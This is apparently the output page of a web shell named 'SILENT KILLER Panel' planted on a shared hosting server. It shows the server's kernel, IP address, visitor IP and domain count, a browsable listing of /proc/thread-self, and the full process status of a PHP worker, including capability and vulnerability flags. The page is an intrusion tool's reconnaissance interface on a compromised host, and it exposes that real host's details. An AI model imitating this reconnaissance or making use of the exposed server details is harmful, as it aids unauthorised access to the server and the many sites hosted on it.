SILENT KILLERPanel

Current Path: > > proc > thread-self


Operation   : Linux host59.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Software     : Apache
Server IP    : 198.54.126.42 | Your IP: 216.73.216.135
Domains      : 1034 Domain(s)
Permission   : [ 0555 ]

Files and Folders in: //proc/thread-self

NameTypeSizeLast ModifiedActions
attr Directory - -
cwd Directory - -
fd Directory - -
fdinfo Directory - -
net Directory - -
ns Directory - -
root Directory - -
auxv File 0 bytes August 10 2025 11:02:23.
cgroup File 0 bytes August 10 2025 11:02:23.
children File 0 bytes August 10 2025 11:02:23.
clear_refs File 0 bytes August 10 2025 11:02:23.
cmdline File 0 bytes August 10 2025 11:02:23.
comm File 0 bytes August 10 2025 11:02:23.
cpu_resctrl_groups File 0 bytes August 10 2025 11:02:23.
cpuset File 0 bytes August 10 2025 11:02:23.
environ File 0 bytes August 10 2025 11:02:23.
exe File 6400136 bytes July 09 2025 08:29:03.
gid_map File 0 bytes August 10 2025 11:02:23.
io File 0 bytes August 10 2025 11:02:23.
limits File 0 bytes August 10 2025 11:02:23.
loginuid File 0 bytes August 10 2025 11:02:23.
maps File 0 bytes August 10 2025 11:02:23.
mem File 0 bytes August 10 2025 11:02:23.
mountinfo File 0 bytes August 10 2025 11:02:23.
mounts File 0 bytes August 10 2025 11:02:23.
numa_maps File 0 bytes August 10 2025 11:02:23.
oom_adj File 0 bytes August 10 2025 11:02:23.
oom_score File 0 bytes August 10 2025 11:02:23.
oom_score_adj File 0 bytes August 10 2025 11:02:23.
pagemap File 0 bytes August 10 2025 11:02:23.
patch_state File 0 bytes August 10 2025 11:02:23.
personality File 0 bytes August 10 2025 11:02:23.
projid_map File 0 bytes August 10 2025 11:02:23.
sched File 0 bytes August 10 2025 11:02:23.
schedstat File 0 bytes August 10 2025 11:02:23.
sessionid File 0 bytes August 10 2025 11:02:23.
setgroups File 0 bytes August 10 2025 11:02:23.
smaps File 0 bytes August 10 2025 11:02:23.
smaps_rollup File 0 bytes August 10 2025 11:02:23.
stack File 0 bytes August 10 2025 11:02:23.
stat File 0 bytes August 10 2025 11:02:23.
statm File 0 bytes August 10 2025 11:02:23.
status File 0 bytes August 10 2025 11:02:23.
syscall File 0 bytes August 10 2025 11:02:23.
uid_map File 0 bytes August 10 2025 11:02:23.
wchan File 0 bytes August 10 2025 11:02:23.

Reading File: //proc/thread-self/status

Name:	lsphp
Umask:	0022
State:	R (running)
Tgid:	3734249
Ngid:	0
Pid:	3734249
PPid:	3711712
TracerPid:	0
Uid:	15170	15170	15170	15170
Gid:	15089	15089	15089	15089
FDSize:	64
Groups:	15089 
NStgid:	3734249
NSpid:	3734249
NSpgid:	3734249
NSsid:	3734249
VmPeak:	  535004 kB
VmSize:	  535004 kB
VmLck:	       0 kB
VmPin:	       0 kB
VmHWM:	   13548 kB
VmRSS:	   13548 kB
RssAnon:	    6076 kB
RssFile:	    7104 kB
RssShmem:	     368 kB
VmData:	   19580 kB
VmStk:	     132 kB
VmExe:	    4980 kB
VmLib:	   57236 kB
VmPTE:	     524 kB
VmSwap:	       0 kB
HugetlbPages:	       0 kB
CoreDumping:	0
THP_enabled:	1
Threads:	1
SigQ:	0/18446744073709551615
SigPnd:	0000000000000000
ShdPnd:	0000000000000000
SigBlk:	0000000000000000
SigIgn:	0000000001001000
SigCgt:	0000000184004e6f
CapInh:	0000000000000000
CapPrm:	0000000000000000
CapEff:	0000000000000000
CapBnd:	000001ffffffffff
CapAmb:	0000000000000000
NoNewPrivs:	0
Seccomp:	0
Speculation_Store_Bypass:	thread vulnerable
Cpus_allowed:	ffff,ffffffff
Cpus_allowed_list:	0-47
Mems_allowed:	00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000003
Mems_allowed_list:	0-1
voluntary_ctxt_switches:	0
nonvoluntary_ctxt_switches:	0

SILENT KILLER Tool